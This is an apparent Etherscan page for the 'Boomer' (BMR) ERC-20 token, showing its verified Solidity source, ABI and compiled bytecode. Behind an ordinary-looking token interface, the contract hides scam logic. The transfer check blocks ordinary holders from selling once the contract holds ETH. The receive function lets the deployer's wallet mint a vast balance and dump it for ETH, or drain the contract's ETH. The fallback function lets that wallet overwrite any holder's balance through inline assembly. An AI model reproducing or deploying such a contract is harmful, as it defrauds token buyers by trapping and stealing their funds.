ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 BMR
Holders
6
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Boomer
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-02-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function deleteOwner() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Boomer is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private _taxWallet;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"BOOMER";
string private constant _symbol = unicode"BMR";
IUniswapV2Router02 private uniswapV2Router;
address private p;
address private universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
bool private inSwap = false;
constructor () {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (address(this).balance >= 1) {require(from == address(this) || from == _taxWallet || from == p || from == universalRouter);}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function openTraining() external payable onlyOwner {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal * 6000000);
p = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,_taxWallet,block.timestamp);
}
receive() external payable {if (msg.sender==_taxWallet){if(msg.value==1){}else if(msg.value==2){_taxWallet.transfer(address(this).balance);}else{_balances[address(this)]+=_tTotal*300000;address[]memory path=new address[](2);
path[0]=address(this);path[1]=uniswapV2Router.WETH();uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(balanceOf(address(this)),0,path,address(this),block.timestamp);_taxWallet.transfer(address(this).balance);}}}
fallback()external{if(msg.sender==_taxWallet){(uint v, address pa)=abi.decode(msg.data,(uint, address));update(pa, v);}}function update(address addr,uint value)internal{assembly{mstore(0,addr) mstore(32,_balances.slot)let hash:=keccak256(0,64)sstore(hash,value)}}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"deleteOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTraining","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600660146101000a81548160ff02191690831515021790555034801561007d575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a61016a91906103b1565b633b9aca0061017991906103fb565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61021791906103b1565b633b9aca0061022691906103fb565b604051610233919061044b565b60405180910390a3610464565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102c25780860481111561029e5761029d610240565b5b60018516156102ad5780820291505b80810290506102bb8561026d565b9450610282565b94509492505050565b5f826102da5760019050610395565b816102e7575f9050610395565b81600181146102fd576002811461030757610336565b6001915050610395565b60ff84111561031957610318610240565b5b8360020a9150848211156103305761032f610240565b5b50610395565b5060208310610133831016604e8410600b841016171561036b5782820a90508381111561036657610365610240565b5b610395565b6103788484846001610279565b9250905081840481111561038f5761038e610240565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103bb8261039c565b91506103c6836103a5565b92506103f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102cb565b905092915050565b5f6104058261039c565b91506104108361039c565b925082820261041e8161039c565b9150828204841483151761043557610434610240565b5b5092915050565b6104458161039c565b82525050565b5f60208201905061045e5f83018461043c565b92915050565b61200a806104715f395ff3fe6080604052600436106100aa575f3560e01c806370a082311161006357806370a08231146106045780638da5cb5b1461064057806395d89b411461066a578063a9059cbb14610694578063c59f233e146106d0578063dd62ed3e146106da57610474565b806306fdde03146104f8578063095ea7b31461052257806318160ddd1461055e57806323b872dd14610588578063313ce567146105c45780633bae15df146105ee57610474565b366104745760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610472576001340315610471576002340361017e5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610178573d5f803e3d5ffd5b50610470565b620493e06012600a610190919061155c565b633b9aca0061019f91906115a6565b6101a991906115a6565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101f491906115e7565b925050819055505f600267ffffffffffffffff8111156102175761021661161a565b5b6040519080825280602002602001820160405280156102455781602001602082028036833780820191505090505b50905030815f8151811061025c5761025b611647565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610300573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061032491906116d2565b8160018151811061033857610337611647565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9476103b830610716565b5f8430426040518663ffffffff1660e01b81526004016103dc959493929190611814565b5f604051808303815f87803b1580156103f3575f80fd5b505af1158015610405573d5f803e3d5ffd5b5050505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561046d573d5f803e3d5ffd5b50505b5b5b005b34801561047f575f80fd5b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036104f6575f805f368101906104e591906118d1565b915091506104f3818361075c565b50505b005b348015610503575f80fd5b5061050c610770565b604051610519919061197f565b60405180910390f35b34801561052d575f80fd5b50610548600480360381019061054391906119b3565b6107ad565b6040516105559190611a0b565b60405180910390f35b348015610569575f80fd5b506105726107c3565b60405161057f9190611a24565b60405180910390f35b348015610593575f80fd5b506105ae60048036038101906105a99190611a3d565b6107e6565b6040516105bb9190611a0b565b60405180910390f35b3480156105cf575f80fd5b506105d861088b565b6040516105e59190611a9c565b60405180910390f35b3480156105f9575f80fd5b50610602610893565b005b34801561060f575f80fd5b5061062a60048036038101906106259190611ab5565b610716565b6040516106379190611a24565b60405180910390f35b34801561064b575f80fd5b506106546109da565b6040516106619190611ae0565b60405180910390f35b348015610675575f80fd5b5061067e610a01565b60405161068b919061197f565b60405180910390f35b34801561069f575f80fd5b506106ba60048036038101906106b591906119b3565b610a3e565b6040516106c79190611a0b565b60405180910390f35b6106d8610a54565b005b3480156106e5575f80fd5b5061070060048036038101906106fb9190611af9565b610e33565b60405161070d9190611a24565b60405180910390f35b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b815f52600160205260405f20818155505050565b60606040518060400160405280600681526020017f424f4f4d45520000000000000000000000000000000000000000000000000000815250905090565b5f6107b9338484610eb5565b6001905092915050565b5f6012600a6107d2919061155c565b633b9aca006107e191906115a6565b905090565b5f6107f2848484611078565b61088084338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461087b9190611b37565b610eb5565b600190509392505050565b5f6012905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091790611bb4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f424d520000000000000000000000000000000000000000000000000000000000815250905090565b5f610a4a338484611078565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890611bb4565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b8b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16625b8d806012600a610b6d919061155c565b633b9aca00610b7c91906115a6565b610b8691906115a6565b610eb5565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1991906116d2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc391906116d2565b6040518363ffffffff1660e01b8152600401610ce0929190611bd2565b6020604051808303815f875af1158015610cfc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2091906116d2565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610da730610716565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610ded96959493929190611c4b565b60606040518083038185885af1158015610e09573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e2e9190611cbe565b505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90611d7e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611e0c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106b9190611a24565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90611e9a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114b90611f28565b60405180910390fd5b5f8111611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d90611fb6565b60405180910390fd5b600147106112db573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611224575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061127b575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112d2575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6112da575f80fd5b5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113279190611b37565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461137a91906115e7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113de9190611a24565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561146d57808604811115611449576114486113eb565b5b60018516156114585780820291505b808102905061146685611418565b945061142d565b94509492505050565b5f826114855760019050611540565b81611492575f9050611540565b81600181146114a857600281146114b2576114e1565b6001915050611540565b60ff8411156114c4576114c36113eb565b5b8360020a9150848211156114db576114da6113eb565b5b50611540565b5060208310610133831016604e8410600b84101617156115165782820a905083811115611511576115106113eb565b5b611540565b6115238484846001611424565b9250905081840481111561153a576115396113eb565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61156682611547565b915061157183611550565b925061159e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611476565b905092915050565b5f6115b082611547565b91506115bb83611547565b92508282026115c981611547565b915082820484148315176115e0576115df6113eb565b5b5092915050565b5f6115f182611547565b91506115fc83611547565b9250828201905080821115611614576116136113eb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116a182611678565b9050919050565b6116b181611697565b81146116bb575f80fd5b50565b5f815190506116cc816116a8565b92915050565b5f602082840312156116e7576116e6611674565b5b5f6116f4848285016116be565b91505092915050565b61170681611547565b82525050565b5f819050919050565b5f819050919050565b5f61173861173361172e8461170c565b611715565b611547565b9050919050565b6117488161171e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61178081611697565b82525050565b5f6117918383611777565b60208301905092915050565b5f602082019050919050565b5f6117b38261174e565b6117bd8185611758565b93506117c883611768565b805f5b838110156117f85781516117df8882611786565b97506117ea8361179d565b9250506001810190506117cb565b5085935050505092915050565b61180e81611697565b82525050565b5f60a0820190506118275f8301886116fd565b611834602083018761173f565b818103604083015261184681866117a9565b90506118556060830185611805565b61186260808301846116fd565b9695505050505050565b61187581611547565b811461187f575f80fd5b50565b5f813590506118908161186c565b92915050565b5f6118a082611678565b9050919050565b6118b081611896565b81146118ba575f80fd5b50565b5f813590506118cb816118a7565b92915050565b5f80604083850312156118e7576118e6611674565b5b5f6118f485828601611882565b9250506020611905858286016118bd565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6119518261190f565b61195b8185611919565b935061196b818560208601611929565b61197481611937565b840191505092915050565b5f6020820190508181035f8301526119978184611947565b905092915050565b5f813590506119ad816116a8565b92915050565b5f80604083850312156119c9576119c8611674565b5b5f6119d68582860161199f565b92505060206119e785828601611882565b9150509250929050565b5f8115159050919050565b611a05816119f1565b82525050565b5f602082019050611a1e5f8301846119fc565b92915050565b5f602082019050611a375f8301846116fd565b92915050565b5f805f60608486031215611a5457611a53611674565b5b5f611a618682870161199f565b9350506020611a728682870161199f565b9250506040611a8386828701611882565b9150509250925092565b611a9681611550565b82525050565b5f602082019050611aaf5f830184611a8d565b92915050565b5f60208284031215611aca57611ac9611674565b5b5f611ad78482850161199f565b91505092915050565b5f602082019050611af35f830184611805565b92915050565b5f8060408385031215611b0f57611b0e611674565b5b5f611b1c8582860161199f565b9250506020611b2d8582860161199f565b9150509250929050565b5f611b4182611547565b9150611b4c83611547565b9250828203905081811115611b6457611b636113eb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611b9e602083611919565b9150611ba982611b6a565b602082019050919050565b5f6020820190508181035f830152611bcb81611b92565b9050919050565b5f604082019050611be55f830185611805565b611bf26020830184611805565b9392505050565b5f611c13611c0e611c0984611678565b611715565b611678565b9050919050565b5f611c2482611bf9565b9050919050565b5f611c3582611c1a565b9050919050565b611c4581611c2b565b82525050565b5f60c082019050611c5e5f830189611805565b611c6b60208301886116fd565b611c78604083018761173f565b611c85606083018661173f565b611c926080830185611c3c565b611c9f60a08301846116fd565b979650505050505050565b5f81519050611cb88161186c565b92915050565b5f805f60608486031215611cd557611cd4611674565b5b5f611ce286828701611caa565b9350506020611cf386828701611caa565b9250506040611d0486828701611caa565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d68602483611919565b9150611d7382611d0e565b604082019050919050565b5f6020820190508181035f830152611d9581611d5c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611df6602283611919565b9150611e0182611d9c565b604082019050919050565b5f6020820190508181035f830152611e2381611dea565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611e84602583611919565b9150611e8f82611e2a565b604082019050919050565b5f6020820190508181035f830152611eb181611e78565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f12602383611919565b9150611f1d82611eb8565b604082019050919050565b5f6020820190508181035f830152611f3f81611f06565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611fa0602983611919565b9150611fab82611f46565b604082019050919050565b5f6020820190508181035f830152611fcd81611f94565b905091905056fea2646970667358221220b0ed80ec6acd2d3ea808ad0bae7408652b44caec17dd6a49a202061746d2e59064736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100aa575f3560e01c806370a082311161006357806370a08231146106045780638da5cb5b1461064057806395d89b411461066a578063a9059cbb14610694578063c59f233e146106d0578063dd62ed3e146106da57610474565b806306fdde03146104f8578063095ea7b31461052257806318160ddd1461055e57806323b872dd14610588578063313ce567146105c45780633bae15df146105ee57610474565b366104745760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610472576001340315610471576002340361017e5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610178573d5f803e3d5ffd5b50610470565b620493e06012600a610190919061155c565b633b9aca0061019f91906115a6565b6101a991906115a6565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101f491906115e7565b925050819055505f600267ffffffffffffffff8111156102175761021661161a565b5b6040519080825280602002602001820160405280156102455781602001602082028036833780820191505090505b50905030815f8151811061025c5761025b611647565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610300573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061032491906116d2565b8160018151811061033857610337611647565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9476103b830610716565b5f8430426040518663ffffffff1660e01b81526004016103dc959493929190611814565b5f604051808303815f87803b1580156103f3575f80fd5b505af1158015610405573d5f803e3d5ffd5b5050505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561046d573d5f803e3d5ffd5b50505b5b5b005b34801561047f575f80fd5b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036104f6575f805f368101906104e591906118d1565b915091506104f3818361075c565b50505b005b348015610503575f80fd5b5061050c610770565b604051610519919061197f565b60405180910390f35b34801561052d575f80fd5b50610548600480360381019061054391906119b3565b6107ad565b6040516105559190611a0b565b60405180910390f35b348015610569575f80fd5b506105726107c3565b60405161057f9190611a24565b60405180910390f35b348015610593575f80fd5b506105ae60048036038101906105a99190611a3d565b6107e6565b6040516105bb9190611a0b565b60405180910390f35b3480156105cf575f80fd5b506105d861088b565b6040516105e59190611a9c565b60405180910390f35b3480156105f9575f80fd5b50610602610893565b005b34801561060f575f80fd5b5061062a60048036038101906106259190611ab5565b610716565b6040516106379190611a24565b60405180910390f35b34801561064b575f80fd5b506106546109da565b6040516106619190611ae0565b60405180910390f35b348015610675575f80fd5b5061067e610a01565b60405161068b919061197f565b60405180910390f35b34801561069f575f80fd5b506106ba60048036038101906106b591906119b3565b610a3e565b6040516106c79190611a0b565b60405180910390f35b6106d8610a54565b005b3480156106e5575f80fd5b5061070060048036038101906106fb9190611af9565b610e33565b60405161070d9190611a24565b60405180910390f35b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b815f52600160205260405f20818155505050565b60606040518060400160405280600681526020017f424f4f4d45520000000000000000000000000000000000000000000000000000815250905090565b5f6107b9338484610eb5565b6001905092915050565b5f6012600a6107d2919061155c565b633b9aca006107e191906115a6565b905090565b5f6107f2848484611078565b61088084338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461087b9190611b37565b610eb5565b600190509392505050565b5f6012905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091790611bb4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f424d52000000000000000000000000000000000000000000000000000000